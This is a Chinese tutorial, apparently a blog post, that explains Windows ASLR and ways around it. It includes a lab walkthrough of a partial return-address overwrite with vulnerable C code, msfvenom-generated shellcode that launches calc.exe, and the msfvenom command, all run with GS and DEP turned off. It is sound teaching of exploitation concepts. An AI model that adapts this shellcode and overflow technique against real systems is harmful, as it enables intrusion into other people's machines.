内存保护机制及绕过方法——通过覆盖部分地址绕过ASLR
ASLR保护机制
ASLR简介
微软在Windows Vista、2008 server、Windows 7、Windows 8等系统的发布中, 开始将ASLR作为内置的系统保护机制运行, 将系统映像的基址设置到1/256的random slot上, 同时将各个线程的堆栈和堆进行随机化。这需要程序和系统的双重支持, 但是程序的支持并不是一定的。可以使用如下注册表选项来使用或禁用 ASLR 之于所有的程序映像:
Edit HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\ and add a new key called “ MoveImages” (DWORD)。
该键的可能取值如下:
0 :永远不进行基于内存的映像基址随机化, 基地址的选择始终以可执行文件的PE头部指定的基址为准;
-1 :随机化所有的可以重定位的程序映像, 无论它们是否在PE头部指定了IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE标记。
也可以在编写程序时使用/dynamicbase链接器选项来确定编写的程序是否使用该保护机制。微软从Visual Studio 2005开始加入了/dynamicbase链接选项, 选择该链接选项的程序会在生成的PE头中设置IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE标识来说明其支持ASLR。
实际分析中, 可以 使用 PE 工具查看 DllCharacteristics 域是否包含 IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE(0× 40) , 或者使用ImmunityDebugger 的 !ASLRdynamicbase 命令, 查看当前调试会话中所有模块的 ASLR使能状态。
ASLR工作原理:
在Windows下, ASLR主要表现在三个方面:映像基址随机化、堆栈基址随机化和PEB/TEB随机化。
1)映像基址随机化
当可执行文件或动态链接库文件被映射到内存时, 系统会对其虚拟地址进行随机化。
由于主要是对各模块载入内存的基地址进行随机化处理, 所以叫映像基址随机化。微软Windows系列操作系统的内存随机化使系统每次初始化过程中, 随机分配各个模块的基地址, 所以同一个模块在系统重启后, 其基地址是不同的。如下图所示是系统重启前后, Windbg加载同一个应用程序时显示的各模块基地址。可以看出, 系统重启后, 各模块的首地址是变化的。

2)堆栈基址随机化
程序在启动时, 系统会随机选择堆栈的基址, 从而导致内存中的各种变量地址发生变化。程序每次启动后, 其所占用的堆栈地址可能完全不同。与映像基址随机化在系统初始化的过程中随机加载不同, 堆栈基址随机化是在程序每次启动时实施的。下图所示是将同一个程序两次载入Windbg后, 其所占用的堆栈地址。

3)PEB/TEB随机化
进程环境块(Process Environment Block, PEB)和线程环境块(Thread Environment Block, TEB)随机化在Windows XP时代就已经引入系统中, 但是发展到Windows 8系统, PEB/TEB的随机化仍然做得不是很好。图3所示是Win7下Windbg两次加载同一进程所显示的PEB/TEB地址。

ASLR绕过思路
i.攻击未启用ASLR的模块:
在未启用ASLR的模块中,找到固定的指令地址转入pyload执行。
ii.Off by one 思想:
因为映像基址随机化只是对加载地址的前两个字节进行了随机化, 后面两个字节根本没有变化。而在内存中, 地址是以Little-Endian的方式存储的, 所以理论上, 在一些情况下攻击者可以利用返回地址的部分覆盖来实施攻击。以32位系统的ASLR绕过为例, 覆盖EIP的高地址存储位置的2个字节, 可以完成可行的跳转。
iii.利用堆喷技术定位内存地址:
堆喷抢占内存之后,我们可以确定占领某一内存地址(例如0x0c0c0c0c0c)附近的内存,只要控制程序转入0x0c0c0c0c执行,经过若干个0x90滑行就到达payload执行就可以。
iv.基于SharedUserData的方法
从Windows NT 4到Windows 8, 内存地址0x7ffe0000处都是SharedUserData结构。在其偏移0x300处总是指向KiFastSystemCall函数, 而这个函数是在ntdll.dll中。也就是说, 只要攻击者有一次读取内存的机会, 就能获取ntdll的基址, 从而绕过ASLR保护。具体步骤如下:
1)读取0x7ffe0300处的4字节数据, 即为KiFastSystemCall函数地址, 记为Address_K;
2)使用IDA或Depends, 查找KiFastSystemCall函数在ntdll中的偏移, 从而计算出ntdll基址;
3)通过相对偏移在ntdll中定位到所需要的指令地址, 从而绕过ASLR。
下图是是32位Windows 7系统下KiFastSystemCall函数地址。

通过覆盖部分地址绕过ASLR
⑴. 原理分析:
通过覆盖部分地址绕过ASLR的思想,也就是上文绕过思路中提到的off by one思想。因为映像基址随机化只是对加载地址的前两个字节进行了随机化, 后面两个字节根本没有变化。所以可以通过覆盖后两个字节,在0x0000—0xFFFF的地址空间内寻找跳板,控制EIP,转入payload执行。
⑵.环境准备:
i.实验代码:
#include "stdafx.h"
#include "stdlib.h"
char shellcode[]=
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x42\x14"
;
char * test()
{
char tt[256];
memcpy(tt,shellcode,262);
return tt;
}
int _tmain(int argc, _TCHAR* argv[])
{
char temp[200];
test();
return 0;
}
ii.测试环境:
测试平台:Windows 7 32位
编译器:visual 2008
编译环境:
关闭\GS,DEP保护机制,开启ASLR保护机制。
⑶.调试分析:
i.缓冲区起始地址:保存在eax寄存器中

ii.返回地址
第一次运行:

重启后运行:

可以看到,前两个字节(高地址)是不断会变化的,但是后两个字节(低地址位)是固定的。
所以我们可以通过覆盖低地址位实现控制EIP。
⑷.攻击过程:
i.确定跳板:
第一, payload起始地址小于返回地址,所以不能使用jmp esp这类地址,观察,寄存器eax保存有payload的起始地址,所以,我们只要在当前程序的指令空间里(因为能控制的只是当前程序随机地址化后的两个字节)找到jmp eax指令就可以控制EIP,跳入payload了。
第二, 在程序指令空间查找jmp esp
还是用之前用过的OllyFindAddr插件(或者直接搜索指令也可以),得到结果。

这里,使用地址0xXXXX1442做为跳转地址。
ii.生成payload:
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c
iii.构造shellcode:
综上所述,shellcode结构如下:

iv.攻击结果:

成功。
内存保护机制及绕过方法——通过覆盖部分地址绕过ASLR的更多相关文章
- 内存保护机制及绕过方法——通过伪造SEHOP链绕过SEHOP保护机制
1.1 SEHOP保护机制 1.1.1 SEHOP工作原理: SEHOP保护机制的核心就是检查SEH链的完整性,其验证代码如下: BOOL RtlIsValidHandler(handle ...
- 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数
1. DEP内存保护机制 1.1 DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...
- 内存保护机制及绕过方案——通过覆盖虚函数表绕过/GS机制
1 GS内存保护机制 1.1 GS工作原理 栈中的守护天使--GS,亦称作Stack Canary / Cookie,从VS2003起开始启用(也就说,GS机制是由编译器决定的,跟操作系统 ...
- 内存保护机制及绕过方法——利用未启用SafeSEH模块绕过SafeSEH
利用加载模块之外的地址绕过safeSEH 前言:文章涉及的概念在之前的文章中都有过详细的讲解 ⑴. 原理分析: 当程序加载进内存中后,处理PE文件(exe,dll),还有一些映射文件,safeSEH ...
- 内存保护机制及绕过方案——从堆中绕过safeSEH
1.1 SafeSEH内存保护机制 1.1.1 Windows异常处理机制 Windows中主要两种异常处理机制,Windows异常处理(VEH.SEH)和C++异常处理.Windows异 ...
- 内存保护机制及绕过方案——利用未启用SafeSEH模块绕过SafeSEH
前言:之前关于safeSEH保护机制的原理等信息,可在之前的博文(内存保护机制及绕过方案中查看). 利用未启用SafeSEH模块绕过SafeSEH ⑴. 原理分析: 一个不是仅包含中间语言(1L)且 ...
- Linux下的ASLR(PIE)内存保护机制
1.1 Linux下的ASLR内存保护机制 1.1.1 Linux下的ASLR工作原理 工作原理与window下的aslr类似 1.1.2 Linux下利用内存地址泄露绕过ASLR ⑴. ...
- UAC 实现原理及绕过方法-打洞专用
首页 新随笔 订阅 管理 随笔 - 7 文章 - 0 评论 - 0 UAC 实现原理及绕过方法 目录 0x01 UAC 实现方法(用户登陆过程)0x02 UAC 架构0x03 触发UAC0x0 ...
- 详解 方法的覆盖 —— toString() 与 equals()的覆盖
在学习本篇博文前,建议先学习完本人的博文--<详解 继承(上)-- 工具的抽象与分层> 在本人之前的博文中曾讲过"基类"的知识,那么,本篇博文中的主题--Object类 ...
随机推荐
- 20145316《Java程序设计》第六周学习总结
20143516许心远 <Java程序设计>第6周学习总结 教材学习内容总结 10.1.1 1.Java将输入/输出抽象化为串流,数据有来源及目的地,衔接两者的是串流对象. 2.若要将数据 ...
- C++、Java、JavaScript中的正则表达式
C++(VS2013编译器):http://msdn.microsoft.com/zh-cn/library/bb982727.aspx#grammarsummary Java: ...
- matlab基本操作总结
1.clear;//清除工作平台变量2.close all;//关闭打开的图形窗口3.I = imread('C:\Users\dell\Desktop\rice.jpg');//读取图像,存储在I数 ...
- RS232引脚,RS485引脚
1.RS232引脚 2.RS485引脚
- mysql中一张(居民)表按年龄段查询数据
知识点: 用mysql,按年龄段查询一张居民的数据(各年龄段居民的个数) 1.如:查询resident(居民表),按照各年龄段,统计人数 2.mysql语句如下: select ageproporti ...
- 如何删除linux是用root生成的文件夹以及文件
rm -rf 文件名 管理员的身份进行删除
- IE类兼容一
X-UA-Compatible是自从IE8新加的一个设置,对于IE8以下的浏览器是不识别的.通过在meta中设置X-UA-Compatible的值,可以指定网页的兼容性模式设置. 在网页中指定的模式优 ...
- django 使用form组件提交数据之form表单提交
django的form组件可以减少后台在进行一些重复性的验证工作,极大降低开发效率. 最近遇到一个问题: 当使用form表单提交数据后,如果数据格式不符合后台定义的规则,需要重新在前端页面填写数据. ...
- unity屏幕坐标转世界坐标结果为(0,0,0)
代码: wv转出来一直为(0,0,0),卡了好久,问别人说要转化的屏幕坐标Z不能为0 阿西吧!特此记录
- 在 Ubuntu 里如何下载、安装和配置 Plank Dock
一个众所周知的事实就是,Linux 是一个用户可以高度自定义的系统,有很多选项可以选择 —— 作为操作系统,有各种各样的发行版,而对于单个发行版来说,又有很多桌面环境可以选择.与其他操作系统的用户一样 ...